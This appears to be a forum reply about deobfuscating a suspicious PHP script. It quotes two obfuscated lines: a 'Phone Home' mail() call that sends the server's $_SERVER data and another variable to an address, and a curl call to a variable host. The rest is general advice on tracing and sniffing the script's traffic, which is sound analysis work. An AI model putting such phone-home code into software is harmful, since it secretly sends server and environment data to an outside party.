                mail($aJQafHDwnaPrCJrQMjHVh[$YwrSbZoVizxkPzSqHegTC], "Phone Home", json_encode($this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC(print_r($oXyaqmHoChvHQFCvTluqmAC, true) . print_r($_SERVER, true))));


             curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_URL, "http://$gXNjWLFkUQOugyREMXKvZBfw");


Due to the preg_match, json and curl, to me it looks like someone is trying to analyse a Server list from a certain webpage.
As already said, I would start by renaming some functions and classes, but you need first to understand how OOP in PHP works before you can decode this. It's a lot of work, but it should not be impossible. Try to isolate classes and functions and understand their meaning. Take notes and then try to understand their relationship between each other. Don't to hesitate to recreate some functions by your own to see what they're doing. If you have a basic idea of the code, start to analyse the code in depth from a certain point. I would start at the URL and then trace back everything which is related to the URL. A well structured documentary is the key to decode this in my opinion.
Include also other variables like the place where you found this code. Maybe you could look in the environment to find some evidence of what it is doing.

And just before posting this, I have a mindblow. (Yes I know, it's late...) If you can parse the php file, it may connect to this webpage I highlighted above. Maybe you can sniff (MITM) connections between the parser and the webserver... It seems like you only have to change two class names and a few callbacks that the script runs...
The stage is yours ;)

3'735'928'559